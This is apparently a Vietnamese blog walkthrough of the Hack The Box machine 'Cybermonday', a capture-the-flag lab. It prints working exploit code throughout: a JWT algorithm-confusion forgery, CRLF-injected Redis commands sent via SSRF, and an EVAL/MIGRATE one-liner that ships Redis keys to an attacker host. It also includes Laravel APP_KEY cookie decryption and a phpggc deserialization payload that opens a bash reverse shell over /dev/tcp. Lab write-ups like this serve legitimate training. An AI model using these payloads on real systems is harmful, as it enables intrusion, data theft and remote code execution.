Cybermonday English: https://dryuh.blogspot.com/2023/08/cybermonday-english.html
Enumeration
Zenmap:
Website:
Kiểm tra website:
Đăng ký một tài khoản và tiếp tục kiểm tra website.Website debug:
Đọc source từ folder git, sử dụng bất kỳ công cụ nào: git, git-gui, ...
Trong source code tại ProfileController.php, nếu không thể lấy được folder git tôi cũng có thể thấy nó trong website debug.
Nhìn vào source code tôi thấy rằng ngoại trừ ["_token","password","password_confirmation"] thì tất cả các tham số truyền vào đều được lưu lại bỏi hàm $user->update($data); sau đó lưu thông tin vào database. Từ source code trong git hoặc debug tôi biết rằng thông tin model của user có dạng như sau:Website admin:
Webhook:
Thực hiện kiểm tra các api này tôi biết rằng mình có thể đăng ký một tài khoản login xóa webhook, ... Chỉ duy nhất chức năng sendRequest tôi không tim thấy phương thức thực hiện, và api webhooks/create luôn thông báo lỗi Unauthorized. Tôi đoán rằng đây chính là vấn đề. Tôi cần làm cho api này có thể hoạt động được.
Tôi tìm thấy file public key từ domain này:
Tìm kiếm một chút, và tôi có được điều này: Performing an algorithm confusion attackPhần này sẽ cài đặt trong burp tôi sẽ không nhắc lại phần này trong bài viết.
Sau khi tạo xong tôi được một cặp key như bên dưới.
Thực hiện call api webhooks/create với x-access-token mà tôi đã tạo từ trước đồng thời chuyển hướng tới burp:
Từ đây tôi có thể tạo một action sendRequest.
Thực hiện call api webhooks/create với x-access-token mà tôi đã tạo từ trước đồng thời chuyển hướng tới burp:
Từ đây tôi có thể tạo một action sendRequest.
Chuyển tiếp gói tin này qua Repeater đổi role thành admin, Sign lại và gửi gói tin đi.
Bây giờ tôi đã tạo thành công một api có thể gửi sendRequest. Kiểm tra nó:PS D:\thehackbox\Machines\Cybermonday> python -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.**.** - - [21/Aug/2023 23:47:54] "GET / HTTP/1.1" 200 -
Thử trèn một số ký tự đặc biệt, tôi thu được kết quả như sau:
Khi đó tôi nhận được kết nối từ server như sau:PS D:\thehackbox\Machines\Cybermonday> ncat.exe -l 80
GET
POST / HTTP/1.1
Host: <IP attack>
Accept: */*
Redis
Nhận thấy rằng tôi có thể phân tách nội dung method trong sendRequest.Trước đó tại tên miền cybermonday.htb tôi biết rằng nó được viết bằng laravel nên nó cũng sẽ theo cấu trúc file của laravel. Tôi kiểm tra một số file có thể tồn tại như .env, Dockerfile,...
Và tôi đã nhận được file .env, Trong đó có chứa nội dung sau:
REDIS_HOST=*****
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=
Từ redis host mà tôi có, tôi đoán rằng mình có thể khai thác được từ redis.Tôi thực hiện kiểm tra khai thác như sau với một vài nội dung mà tôi đã tìm thấy: RCE Exploits of Redis Based on Master-Slave Replication Exploiting Redis Through SSRF Attack
Khi đó tôi nhận được kết nối từ redis server có dạng như sau:Sau khi chạy xong câu lệnh này tôi thấy đây là một sai lầm của mình khi sử dụng điều này, nó cho tôi biết rằng tôi có thể chèn lệnh vào redis server nhưng nó gây cho tôi một lỗi website như sau:
Tôi kết thúc slaveof để đóng lỗi này, ngoài ra còn một số cách khác.
Sau khi chạy lệnh này tôi thấy rằng website đã trở lại bình thường.Tìm cách để có thể xem các key trong redis.
Để lấy được tất cả các key trong redis tôi sử dụng lệnh KEYS: KEYS
Bên cạch đó tôi cần viết một tập lệnh bằng cách sử dụng EVAL nó sử dụng ngôn ngữ lua với mục đính duyệt qua tất cả các key mà tôi lấy được trong redis: EVAL
Lệnh MIGRATE trong redis có thể giúp tôi thực hiện việc gửi key và value để máy tôi: MIGRATE
Sau khi gửi tôi nhận được kết nối sau đến từ server:
EVAL 'for k,v in pairs(redis.call(\"KEYS\", \"*\")) do redis.pcall(\"MIGRATE\",\"<IP attack>\",\"6379\",v,0,10000) end' 0\r\n\r\n
Gửi lệnh trên:Gaining access www-data
Để thực hiện thành công điều này tôi đưa ra một mã khai thác như sau:
import requests
from base64 import b64decode
import subprocess
CLRF = "\r\n"
def encode_cmd_arr(arr):
cmd = ""
cmd += "*" + str(len(arr))
for arg in arr:
cmd += CLRF + "$" + str(len(arg))
if isinstance(arg, bytes):
arg = arg.decode()
cmd += CLRF + arg
cmd += "\r\n"
return cmd
def encode_cmd(raw_cmd):
return encode_cmd_arr(raw_cmd.split(" "))
b64_payload = subprocess.check_output("""./phpggc/phpggc Monolog/RCE1 system "bash -c 'bash -i >& /dev/tcp/<IP attack>/8888 0>&1'" -A | base64 -w0""", shell=True).decode().strip()
payload = CLRF
payload += encode_cmd_arr(['SET', 'laravel_session:b55dpnaGBgJLHzsZABshRW2rj3Q0uTtVkZMkZ1hb', b64decode(b64_payload)])
r = requests.post('http://webhooks-api-beta.cybermonday.htb/webhooks/c08b88f2-f22d-4559-8360-a0421d851343', json={
'url': 'http://*****:6379',
'method': payload
}, proxies={
'http': 'http://<IP burp proxy>:<PORT burp proxy>'
})
print(r.text)
Có rất nhiều payload khác nhau. Tôi sẽ thử nhiệm những payload khác theo cách thủ công sau.Sau khi thực hiện đoạn mã trên, tôi kiểm tra lại key redis đã được thay đổi hay chưa:
Tôi thấy rằng nội dung key đã được thay đổi, Reload lại website và tôi có được revershell:Method New
Tôi biết rằng khi tôi nhận được file .env:
APP_NAME=CyberMonday
APP_ENV=local
APP_KEY=base64:*****************************************zA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb
Tôi có APP_KEY, Tìm kiếm khai thác Laravel: Laravel
Thực hiện giả mã token với app_key:
Sử dụng burp tôi có token sau:
Sửa lại code:import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='*****************************************zA='
key = base64.b64decode(app_key)
print(decrypt('eyJpdiI6IktSSi9XT3RVdEk2eFpkelBKRXBldkE9PSIsInZhbHVlIjoiZDl1U2lVbnBZbFJuWWR6UEVqTXJUSnRwYytuSVJqeFVWY2hUUWw5RXZneis3QUpyY0U1a0NQU05EUTFmRW55OVQ3WDMxVTBXeUVHVTFqekNSajNGa3djdnFiWFdnU3lZNDhWaTdrWGF6R1p5ZHk3eUIyQ1hZSkRFMHpZNktoclkiLCJtYWMiOiJhMDE0NjQyN2QxYzY3YmExN2ZhYmI1NmE2ZDA1ODQzNWJiYzYyM2Y5MGE0YTJiNjAzNjk2NWYyMDAxMTMzNGFmIiwidGFnIjoiIn0='))
Chạy khai thác:
Tôi decode thành công token và thấy key: LJyQuM2Q5ZO2IHwsFtQyPiNjANJaq4F8GaiGSqR2Kiểm tra xem key có tồn tại trong redis không:
MIGRATE <IP attack> 6379 laravel_session:LJyQuM2Q5ZO2IHwsFtQyPiNjANJaq4F8GaiGSqR2 0 5000\r\n\r\n
Bắt đầu khai thác, tôi tạo payload:
Reload lại website và tôi nhận được:
$ ./phpggc/phpggc Monolog/RCE1 system "bash -c 'bash -i >& /dev/tcp/<ip attack>/8888 0>&1'" -A
O:32:"Monolog\Handler\SyslogUdpHandler":1:{S:9:"\00\2a\00\73\6f\63\6b\65\74";O:29:"Monolog\Handler\BufferHandler":7:{S:10:"\00\2a\00\68\61\6e\64\6c\65\72";r:2;S:13:"\00\2a\00\62\75\66\66\65\72\53\69\7a\65";i:-1;S:9:"\00\2a\00\62\75\66\66\65\72";a:1:{i:0;a:2:{i:0;S:50:"\62\61\73\68\20\2d\63\20\27\62\61\73\68\20\2d\69\20\3e\26\20\2f\64\65\76\2f\74\63\70\2f\31\30\2e\31\30\2e\31\36\2e\34\2f\38\38\38\38\20\30\3e\26\31\27";S:5:"\6c\65\76\65\6c";N;}}S:8:"\00\2a\00\6c\65\76\65\6c";N;S:14:"\00\2a\00\69\6e\69\74\69\61\6c\69\7a\65\64";b:1;S:14:"\00\2a\00\62\75\66\66\65\72\4c\69\6d\69\74";i:-1;S:13:"\00\2a\00\70\72\6f\63\65\73\73\6f\72\73";a:2:{i:0;S:7:"\63\75\72\72\65\6e\74";i:1;S:6:"\73\79\73\74\65\6d";}}}
Sau đó tôi sửa key trong redis server thành payload tôi vừa tạo:Ngoài ra tôi cũng có thể sử dụng slaveof:
Tôi start server redis ở trên máy của tôi:
Kết nối redis server trên box với redis server trên máy của tôi:Khi đó trong log redis server của tôi sẽ nhận được như sau:
Reload website và tôi nhận được shell.
*note: Khi nhận được shell tôi luôn gặp lỗi website 503, để hạn chế điều này sau khi nhận shell tôi cần gọi lệnh xóa key mà tôi vừa thay đổi.